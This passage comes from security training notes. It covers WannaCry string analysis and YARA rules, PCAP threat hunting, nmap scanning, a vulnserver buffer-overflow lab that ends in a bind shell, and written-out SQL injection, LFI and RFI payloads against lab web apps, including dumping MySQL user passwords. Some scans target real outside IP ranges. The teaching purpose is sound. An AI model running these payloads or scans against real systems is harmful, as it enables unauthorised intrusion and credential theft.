  1109. http://www.garykessler.net/library/file_sigs.html
  1110.  
  1111.  
  1112.  
  1113. ---------------------------Type This-----------------------------------
  1114.  
  1115.  
  1116. objdump -x wannacry.exe
  1117.  
  1118. strings wannacry.exe
  1119.  
  1120. strings --all wannacry.exe | head -n 6
  1121.  
  1122. strings wannacry.exe | grep -i dll
  1123.  
  1124. strings wannacry.exe | grep -i library
  1125.  
  1126. strings wannacry.exe | grep -i reg
  1127.  
  1128. strings wannacry.exe | grep -i key
  1129.  
  1130. strings wannacry.exe | grep -i rsa
  1131.  
  1132. strings wannacry.exe | grep -i open
  1133.  
  1134. strings wannacry.exe | grep -i get
  1135.  
  1136. strings wannacry.exe | grep -i mutex
  1137.  
  1138. strings wannacry.exe | grep -i irc
  1139.  
  1140. strings wannacry.exe | grep -i join        
  1141.  
  1142. strings wannacry.exe | grep -i admin
  1143.  
  1144. strings wannacry.exe | grep -i list
  1145.  
  1146.  
  1147.  
  1148. -----------------------------------------------------------------------
  1149.  
  1150.  
  1151.  
  1152.  
  1153.  
  1154.  
  1155.  
  1156.  
  1157. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  1158.  
  1159. Quick Google search for "wannacry ransomeware analysis"
  1160.  
  1161.  
  1162. Reference
  1163. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  1164.  
  1165. - Yara Rule -
  1166.  
  1167.  
  1168. Strings:
  1169. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  1170. $s2 = “Wanna Decryptor” wide ascii nocase
  1171. $s3 = “.wcry” wide ascii nocase
  1172. $s4 = “WANNACRY” wide ascii nocase
  1173. $s5 = “WANACRY!” wide ascii nocase
  1174. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  1175.  
  1176.  
  1177.  
  1178.  
  1179.  
  1180.  
  1181.  
  1182.  
  1183. Ok, let's look for the individual strings
  1184.  
  1185. ---------------------------Type This-----------------------------------
  1186.  
  1187.  
  1188. strings wannacry.exe | grep -i ooops
  1189.  
  1190. strings wannacry.exe | grep -i wanna
  1191.  
  1192. strings wannacry.exe | grep -i wcry
  1193.  
  1194. strings wannacry.exe | grep -i wannacry
  1195.  
  1196. strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
  1197.  
  1198.  
  1199. -----------------------------------------------------------------------
  1200.  
  1201.  
  1202.  
  1203.  
  1204.  
  1205. ####################################
  1206. # Tired of GREP - let's try Python #
  1207. ####################################
  1208. Decided to make my own script for this kind of stuff in the future. I
  1209.  
  1210. Reference1:
  1211. http://45.63.104.73/analyse_malware.py
  1212.  
  1213. This is a really good script for the basics of static analysis
  1214.  
  1215. Reference:
  1216. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  1217.  
  1218.  
  1219. This is really good for showing some good signatures to add to the Python script
  1220.  
  1221.  
  1222. Here is my own script using the signatures (started this yesterday, but still needs work):
  1223. https://pastebin.com/guxzCBmP
  1224.  
  1225.  
  1226. ---------------------------Type This-----------------------------------
  1227.  
  1228.  
  1229. sudo apt install -y python-pefile
  1230.      infosecaddicts
  1231.  
  1232.  
  1233.  
  1234. wget https://pastebin.com/raw/guxzCBmP
  1235.  
  1236.  
  1237. mv guxzCBmP am.py
  1238.  
  1239.  
  1240. vi am.py
  1241.  
  1242. python am.py wannacry.exe
  1243.  
  1244.  
  1245. -----------------------------------------------------------------------
  1246.  
  1247.  
  1248.  
  1249.  
  1250.  
  1251.  
  1252.  
  1253.  
  1254. ##############
  1255. # Yara Ninja #
  1256. ##############
  1257. ---------------------------Type This-----------------------------------
  1258.  
  1259. -----------------------------------------------------------------------
  1260.  
  1261.  
  1262. NOTE:
  1263. McAfee is giving these yara rules - so add them to the hashes.txt file
  1264.  
  1265. Reference:
  1266. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  1267.  
  1268. ----------------------------------------------------------------------------
  1269. rule wannacry_1 : ransom
  1270. {
  1271.     meta:
  1272.         author = "Joshua Cannell"
  1273.         description = "WannaCry Ransomware strings"
  1274.         weight = 100
  1275.         date = "2017-05-12"
  1276.  
  1277.     strings:
  1278.         $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
  1279.         $s2 = "Wanna Decryptor" wide ascii nocase
  1280.         $s3 = ".wcry" wide ascii nocase
  1281.         $s4 = "WANNACRY" wide ascii nocase
  1282.         $s5 = "WANACRY!" wide ascii nocase
  1283.         $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
  1284.  
  1285.     condition:
  1286.         any of them
  1287. }
  1288.  
  1289. ----------------------------------------------------------------------------
  1290. rule wannacry_2{
  1291.     meta:
  1292.         author = "Harold Ogden"
  1293.         description = "WannaCry Ransomware Strings"
  1294.         date = "2017-05-12"
  1295.         weight = 100
  1296.  
  1297.     strings:
  1298.         $string1 = "msg/m_bulgarian.wnry"
  1299.         $string2 = "msg/m_chinese (simplified).wnry"
  1300.         $string3 = "msg/m_chinese (traditional).wnry"
  1301.         $string4 = "msg/m_croatian.wnry"
  1302.         $string5 = "msg/m_czech.wnry"
  1303.         $string6 = "msg/m_danish.wnry"
  1304.         $string7 = "msg/m_dutch.wnry"
  1305.         $string8 = "msg/m_english.wnry"
  1306.         $string9 = "msg/m_filipino.wnry"
  1307.         $string10 = "msg/m_finnish.wnry"
  1308.         $string11 = "msg/m_french.wnry"
  1309.         $string12 = "msg/m_german.wnry"
  1310.         $string13 = "msg/m_greek.wnry"
  1311.         $string14 = "msg/m_indonesian.wnry"
  1312.         $string15 = "msg/m_italian.wnry"
  1313.         $string16 = "msg/m_japanese.wnry"
  1314.         $string17 = "msg/m_korean.wnry"
  1315.         $string18 = "msg/m_latvian.wnry"
  1316.         $string19 = "msg/m_norwegian.wnry"
  1317.         $string20 = "msg/m_polish.wnry"
  1318.         $string21 = "msg/m_portuguese.wnry"
  1319.         $string22 = "msg/m_romanian.wnry"
  1320.         $string23 = "msg/m_russian.wnry"
  1321.         $string24 = "msg/m_slovak.wnry"
  1322.         $string25 = "msg/m_spanish.wnry"
  1323.         $string26 = "msg/m_swedish.wnry"
  1324.         $string27 = "msg/m_turkish.wnry"
  1325.         $string28 = "msg/m_vietnamese.wnry"
  1326.  
  1327.  
  1328.     condition:
  1329.         any of ($string*)
  1330. }
  1331. ----------------------------------------------------------------------------
  1332.  
  1333.  
  1334.  
  1335.  
  1336. ###########################
  1337. # Intro to Threat Hunting #
  1338. ###########################
  1339.  
  1340.  
  1341.  
  1342.  
  1343.  
  1344. ##################################################################
  1345. # Analyzing a PCAP Prads                                         #
  1346. # Note: run as regular user                                      #
  1347. ##################################################################
  1348.  
  1349. ---------------------------Type this as a regular user----------------------------------
  1350. cd ~/yourname
  1351.  
  1352. mkdir pcap_analysis/
  1353.  
  1354. cd pcap_analysis/
  1355.  
  1356. mkdir prads
  1357.  
  1358. cd prads
  1359.  
  1360. wget http://45.63.104.73/suspicious-time.pcap
  1361.  
  1362. prads -r suspicious-time.pcap -l prads-asset.log
  1363.  
  1364. cat prads-asset.log | less
  1365.  
  1366. cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
  1367.  
  1368. cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
  1369.  
  1370. cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
  1371. -----------------------------------------------------------------------
  1372.  
  1373.  
  1374.  
  1375.  
  1376. ##################################
  1377. # PCAP Analysis with ChaosReader #
  1378. # Note: run as regular user      #
  1379. ##################################
  1380. ---------------------------Type this as a regular user----------------------------------
  1381. cd ~/yourname
  1382.  
  1383.  
  1384. cd pcap_analysis/
  1385.  
  1386. mkdir chaos_reader/
  1387.  
  1388. cd chaos_reader/
  1389.  
  1390. wget http://45.63.104.73/suspicious-time.pcap
  1391.  
  1392. wget http://45.63.104.73/chaosreader.pl
  1393.  
  1394. perl chaosreader.pl suspicious-time.pcap
  1395.  
  1396. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
  1397.  
  1398. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
  1399.  
  1400.  
  1401. for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u
  1402.  
  1403. python -m SimpleHTTPServer    
  1404.           ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
  1405.  
  1406. ------------------------------------------------------------------------
  1407.  
  1408.  
  1409.  
  1410.  
  1411.  
  1412.  
  1413.  
  1414.  
  1415. #############################
  1416. # PCAP Analysis with tshark #
  1417. # Note: run as regular user #
  1418. #############################
  1419. ---------------------------Type this as a regular user---------------------------------
  1420. cd ~/yourname
  1421.  
  1422. mkdir pcap_analysis/
  1423.  
  1424. cd pcap_analysis/
  1425.  
  1426. mkdir tshark
  1427.  
  1428. cd tshark
  1429.  
  1430. wget http://45.63.104.73/suspicious-time.pcap
  1431.  
  1432. tshark -i ens3 -r suspicious-time.pcap -qz io,phs
  1433.  
  1434. tshark -r suspicious-time.pcap -qz ip_hosts,tree
  1435.  
  1436. tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
  1437.  
  1438. tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
  1439.  
  1440.  
  1441. tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
  1442.  
  1443. whois rapidshare.com.eyu32.ru
  1444.  
  1445. whois sploitme.com.cn
  1446.  
  1447. tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
  1448.  
  1449. tshark -r suspicious-time.pcap -qz http_req,tree
  1450.  
  1451. tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
  1452.  
  1453. tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
  1454. ------------------------------------------------------------------------
  1455.  
  1456.  
  1457.  
  1458.  
  1459.  
  1460.                             #################################
  1461. ----------- ############### # Day 3: Software Exploitation  # ############### -----------
  1462.                             #################################
  1463.  
  1464. ########################
  1465. # Scanning Methodology #
  1466. ########################
  1467.  
  1468. - Ping Sweep
  1469. What's alive?
  1470. ------------
  1471.  
  1472. ---------------------------Type this command-----------------------------------
  1473. sudo nmap -sP 157.166.226.*
  1474. -------------------------------------------------------------------------------
  1475.  
  1476.  
  1477.  
  1478.    -if -SP yields no results try:
  1479. ---------------------------Type this command-----------------------------------
  1480. sudo nmap -sL 157.166.226.*
  1481. -------------------------------------------------------------------------------
  1482.  
  1483.  
  1484.  
  1485.    -Look for hostnames:
  1486. ---------------------------Type this command-----------------------------------
  1487. sudo nmap -sL 157.166.226.* | grep cnn
  1488. -------------------------------------------------------------------------------
  1489.  
  1490.  
  1491.  
  1492. - Port Scan
  1493. What's where?
  1494. ------------
  1495. ---------------------------Type this command-----------------------------------
  1496. sudo nmap -sS 162.243.126.247
  1497. -------------------------------------------------------------------------------
  1498.  
  1499.  
  1500.  
  1501. - Bannergrab/Version Query
  1502. What versions of software are running
  1503. -------------------------------------
  1504.  
  1505. ---------------------------Type this command-----------------------------------
  1506. sudo nmap -sV 162.243.126.247
  1507. -------------------------------------------------------------------------------
  1508.  
  1509.  
  1510.  
  1511.  
  1512. - Vulnerability Research
  1513. Lookup the banner versions for public exploits
  1514. ----------------------------------------------
  1515. https://www.exploit-db.com/search
  1516. http://securityfocus.com/bid
  1517. https://packetstormsecurity.com/files/tags/exploit/
  1518.  
  1519.  
  1520.  
  1521. Network Penetration Testing Process (known vulnerabilities)
  1522. -----------------------------------------------------------
  1523.  
  1524.  
  1525. 1. Ping Sweep:
  1526. The purpose of this step is to identify live hosts
  1527.  
  1528.     nmap -sP <ip-address/ip-range>
  1529.  
  1530.  
  1531. 2. Port Scan
  1532. Identify running services. We use the running services to map the network topology.
  1533.  
  1534.     nmap -sS <ip-address/ip-range>
  1535.  
  1536.  
  1537. 3. Bannergrab
  1538. Identify the version of version of software running on each port
  1539.  
  1540.     nmap -sV <ip-address/ip-range>
  1541.    
  1542.  
  1543.  
  1544. 4. Vulnerability Research
  1545. Use the software version number to research and determine if it is out of date (vulnerable).
  1546.  
  1547.     exploit-db.com/search
  1548.  
  1549.  
  1550.  
  1551.  
  1552.  
  1553.  
  1554.  
  1555.  
  1556.  
  1557. Skill Level 1. Run the scanners
  1558. -------------------------------
  1559.     Nexpose
  1560.     Qualys
  1561.     Retina
  1562.     Nessus              known vulnerabilities
  1563.     OpenVas
  1564.     Foundscan
  1565.     GFI LanGuard
  1566.     NCircle
  1567.  
  1568.  
  1569. Skill Level 2. Manual vulnerability validation (known vulnerabilities)
  1570. -----------------------------------------------------------------------
  1571.  
  1572.     windows ->  systeminfo
  1573.     Linux->     dpkg -l
  1574.                 rpm -qa
  1575.  
  1576.  
  1577.  
  1578.  
  1579.  
  1580.  
  1581.  
  1582. #####################################
  1583. # Quick Stack Based Buffer Overflow #
  1584. #####################################
  1585.  
  1586. - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
  1587. http://45.63.104.73/ExploitLab.zip
  1588.  
  1589.  
  1590. - Extract the ExploitLab.zip file to your Desktop
  1591.  
  1592. - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
  1593.  
  1594. - Open a new command prompt and type:
  1595.  
  1596. ---------------------------Type This-----------------------------------
  1597. nc localhost 9999
  1598. --------------------------------------------------------------------------
  1599.  
  1600. - In the new command prompt window where you ran nc type:
  1601. HELP
  1602.  
  1603. - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
  1604. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
  1605.  
  1606. - Now double-click on 1-simplefuzzer.py
  1607. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
  1608.  
  1609.  
  1610. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
  1611.  
  1612. - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
  1613.  
  1614. - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
  1615.  
  1616. - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
  1617.  
  1618. - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
  1619.  
  1620. - Calculate the distance to EIP by running script 3-3000chars.py
  1621. - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
  1622.  
  1623. 4-count-chars-to-EIP.py
  1624. - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
  1625. - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
  1626.  
  1627. 5-2006char-eip-check.py
  1628. - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
  1629.  
  1630. 6-jmp-esp.py
  1631. - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
  1632.  
  1633. 7-first-exploit
  1634. - In this script we actually do the stack overflow and launch a bind shell on port 4444
  1635.  
  1636. 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
  1637.  
  1638.  
  1639. ------------------------------
  1640.  
  1641.  
  1642.  
  1643. Skill Level 3. Identify unknown vulnerabilities
  1644. -----------------------------------------------
  1645.  
  1646. - App Type
  1647. ------------
  1648.    Stand Alone             Client Server               Web App
  1649.  
  1650.                        ***(vulnerserver.exe)***
  1651.  
  1652.  
  1653. - Input TYpe
  1654. -------------
  1655.    FIle                    logical network port            Browser
  1656.    Keyboard
  1657.    Mouse
  1658.  
  1659.  
  1660.  
  1661.                        ***(9999)***
  1662.  
  1663.  
  1664. - Map & Fuzz app entry points:
  1665. ------------------------------
  1666.    - Commands              ***(commands)***
  1667.    - Methods
  1668.    - Verbs
  1669.    - functions
  1670.    - subroutines
  1671.    - controllers
  1672.  
  1673.  
  1674. - Isolate the crash
  1675. -------------------
  1676. App seems to reliably crash at TRUN 2100
  1677.  
  1678.  
  1679. - Calculate the distance to EIP
  1680. -------------------------------
  1681. Distance to EIP is 2006
  1682.  
  1683. We found that EIP was populated with the value: 396F4338
  1684. 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
  1685.  
  1686. An online tool that we can use for this is:
  1687. https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
  1688.  
  1689.  
  1690.  
  1691. - Redirect Program Execution
  1692. ----------------------------
  1693. A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
  1694. We learned that we control EAX and ESP in script 2.
  1695.  
  1696.  
  1697.  
  1698.  
  1699.  
  1700. - Implement Shellcode
  1701. ---------------------
  1702. There are only 2 things that can go wrong with shellcode:
  1703. - Not enough space
  1704. - Bad characters
  1705.  
  1706.  
  1707.  
  1708.  
  1709.  
  1710.  
  1711. #########################################
  1712. # FreeFloat FTP Server Exploit Analysis #
  1713. #########################################
  1714.  
  1715.  
  1716.  
  1717. Analyze the following exploit code:
  1718. https://www.exploit-db.com/exploits/15689/
  1719.  
  1720. 1. What is the target platform that this exploit works against?
  1721. 2. What is the variable name for the distance to EIP?
  1722. 3. What is the actual distance to EIP in bytes?
  1723. 4. Describe what is happening in the variable ‘junk2’
  1724.  
  1725.  
  1726.  
  1727.  
  1728. Analysis of the training walk-through based on EID: 15689:
  1729. http://45.63.104.73/ff.zip
  1730.  
  1731.  
  1732.  
  1733.  
  1734. ff1.py
  1735. 1. What does the sys module do?
  1736. 2. What is sys.argv[1] and sys.argv[2]?
  1737. 3. What application entry point is being attacked in this script?
  1738.  
  1739.  
  1740.  
  1741. ff2.py
  1742. 1. Explain what is happening in lines 18 - 20 doing.
  1743. 2. What is pattern_create.rb doing and where can I find it?
  1744. 3. Why can’t I just double click the file to run this script?
  1745.  
  1746.  
  1747.  
  1748. ff3.py
  1749. 1. Explain what is happening in lines 17 - to 25?
  1750. 2. Explain what is happening in lines 30 - to 32?
  1751. 3. Why is everything below line 35 commented out?
  1752.  
  1753.  
  1754.  
  1755. ff4.py
  1756. 1. Explain what is happening in lines 13 to 15.
  1757. 2. Explain what is happening in line 19.
  1758. 3. What is the total length of buff?
  1759.  
  1760.  
  1761.  
  1762. ff5.py
  1763. 1. Explain what is happening in line 15.
  1764. 2. What is struct.pack?
  1765. 3. How big is the shellcode in this script?
  1766.  
  1767.  
  1768.  
  1769. ff6.py
  1770. 1. What is the distance to EIP?
  1771. 2. How big is the shellcode in this script?
  1772. 3. What is the total byte length of the data being sent to this app?
  1773.  
  1774.  
  1775.  
  1776.  
  1777. ff7.py
  1778. 1. What is a tuple in python?
  1779. 2. How big is the shellcode in this script?
  1780. 3. Did your app crash in from this script?
  1781.  
  1782.  
  1783.  
  1784.  
  1785. ff8.py
  1786. 1. How big is the shellcode in this script?
  1787. 2. What is try/except in python?
  1788. 3. What is socket.SOCK_STREAM in Python?
  1789.  
  1790.  
  1791.  
  1792. ff9.py
  1793. 1. What is going on in lines 19 and 20?
  1794. 2. What is the length of the NOPs?
  1795. 3. From what DLL did the address of the JMP ESP come from?
  1796.  
  1797.  
  1798.  
  1799.  
  1800. ff010.py
  1801. 1. What is going on in lines 18 - 20?
  1802. 2. What is going on in lines 29 - 32?
  1803. 3. How would a stack adjustment help this script?
  1804.  
  1805.  
  1806.  
  1807.  
  1808.                           ##########################
  1809. ----------- ############### # Day 4: Web App Testing ############### -----------
  1810.                           ##########################
  1811.  
  1812.  
  1813.  
  1814. ##################################
  1815. # Basic: Web Application Testing #
  1816. ##################################
  1817.  
  1818. Most people are going to tell you reference the OWASP Testing guide.
  1819. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  1820.  
  1821. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  1822.  
  1823.  
  1824. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  1825.  
  1826.   1. Does the website talk to a DB?
  1827.       - Look for parameter passing (ex: site.com/page.php?id=4)
  1828.       - If yes - try SQL Injection
  1829.  
  1830.   2. Can I or someone else see what I type?
  1831.       - If yes - try XSS
  1832.  
  1833.   3. Does the page reference a file?
  1834.       - If yes - try LFI/RFI
  1835.  
  1836. Let's start with some manual testing against 45.63.104.73
  1837.  
  1838.  
  1839. #######################
  1840. # Attacking PHP/MySQL #
  1841. #######################
  1842.  
  1843. Go to LAMP Target homepage
  1844. https://phpapp.infosecaddicts.com/
  1845.  
  1846.  
  1847.  
  1848. Clicking on the Acer Link:
  1849. https://phpapp.infosecaddicts.com/acre2.php?lap=acer
  1850.  
  1851.    - Found parameter passing (answer yes to question 1)
  1852.    - Insert ' to test for SQLI
  1853.  
  1854. ---------------------------Type This-----------------------------------
  1855.  
  1856. https://phpapp.infosecaddicts.com/acre2.php?lap=acer'
  1857.  
  1858. -----------------------------------------------------------------------
  1859.  
  1860. Page returns the following error:
  1861. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
  1862.  
  1863.  
  1864.  
  1865. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  1866. We do this using the ORDER BY
  1867.  
  1868. ---------------------------Type This-----------------------------------
  1869.  
  1870. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 100-- +
  1871. -----------------------------------------------------------------------
  1872.  
  1873. Page returns the following error:
  1874. Unknown column '100' in 'order clause'
  1875.  
  1876.  
  1877. ---------------------------Type This-----------------------------------
  1878.  
  1879. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 50-- +
  1880. -----------------------------------------------------------------------
  1881.  
  1882. Page returns the following error:
  1883. Unknown column '50' in 'order clause'
  1884.  
  1885.  
  1886. ---------------------------Type This-----------------------------------
  1887.  
  1888. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 25-- +
  1889. -----------------------------------------------------------------------
  1890.  
  1891. Page returns the following error:
  1892. Unknown column '25' in 'order clause'
  1893.  
  1894.  
  1895. ---------------------------Type This-----------------------------------
  1896.  
  1897. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 12-- +
  1898. -----------------------------------------------------------------------
  1899.  
  1900. Page returns the following error:
  1901. Unknown column '12' in 'order clause'
  1902.  
  1903.  
  1904. ---------------------------Type This-----------------------------------
  1905.  
  1906. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 6-- +
  1907. -----------------------------------------------------------------------
  1908.  
  1909. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  1910.  
  1911.  
  1912.  
  1913. Now we build out the union all select statement with the correct number of columns
  1914.  
  1915. Reference:
  1916. http://www.techonthenet.com/sql/union.php
  1917.  
  1918.  
  1919. ---------------------------Type This-----------------------------------
  1920.  
  1921. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  1922. -----------------------------------------------------------------------
  1923.  
  1924.  
  1925.  
  1926. Now we negate the parameter value 'acer' by turning into the word 'null':
  1927. ---------------------------Type This-----------------------------------
  1928.  
  1929. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  1930. -----------------------------------------------------------------------
  1931.  
  1932. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  1933.  
  1934.  
  1935. Use a cheat sheet for syntax:
  1936. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  1937.  
  1938. ---------------------------Type This-----------------------------------
  1939.  
  1940. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  1941.  
  1942. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  1943.  
  1944. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  1945.  
  1946. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  1947.  
  1948.  
  1949. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  1950.  
  1951. -----------------------------------------------------------------------
  1952.  
  1953.  
  1954.  
  1955. ########################
  1956. # Question I get a lot #
  1957. ########################
  1958. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  1959.  
  1960. Here is a good reference for it:
  1961. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  1962.  
  1963. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  1964.  
  1965.  
  1966.  
  1967.  
  1968. #########################
  1969. # File Handling Attacks #
  1970. #########################
  1971.  
  1972. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  1973.  
  1974. ---------------------------Type This-----------------------------------
  1975.  
  1976. https://phpapp.infosecaddicts.com/showfile.php?filename=about.txt
  1977.  
  1978. -----------------------------------------------------------------------
  1979.  
  1980.  
  1981. See if you can read files on the file system:
  1982. ---------------------------Type This-----------------------------------
  1983.  
  1984. https://phpapp.infosecaddicts.com/showfile.php?filename=/etc/passwd
  1985. -----------------------------------------------------------------------
  1986.  
  1987. We call this attack a Local File Include or LFI.
  1988.  
  1989. Now let's find some text out on the internet somewhere:
  1990. https://www.gnu.org/software/hello/manual/hello.txt
  1991.  
  1992.  
  1993. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  1994.  
  1995. ---------------------------Type This-----------------------------------
  1996.  
  1997. https://phpapp.infosecaddicts.com/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
  1998. -----------------------------------------------------------------------
  1999.  
  2000. #########################################################################################
  2001. # SQL Injection                                                                         #
  2002. # https://phpapp.infosecaddicts.com/1-Intro_To_SQL_Intection.pptx #
  2003. #########################################################################################
  2004.  
  2005.  
  2006. - Another quick way to test for SQLI is to remove the paramter value
  2007.  
  2008.  
  2009. #############################
  2010. # Error-Based SQL Injection #
  2011. #############################
  2012. ---------------------------Type This-----------------------------------
  2013.  
  2014. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  2015. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  2016. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  2017. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  2018. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  2019. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
  2020. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  2021. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  2022. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  2023.  
  2024. -----------------------------------------------------------------------
  2025.  
  2026.  
  2027.  
  2028. #############################
  2029. # Union-Based SQL Injection #
  2030. #############################
  2031.  
  2032. ---------------------------Type This-----------------------------------
  2033.  
  2034. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 100--
  2035. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 50--
  2036. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 25--
  2037. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 10--
  2038. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 5--
  2039. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 6--
  2040. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 7--
  2041. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 8--
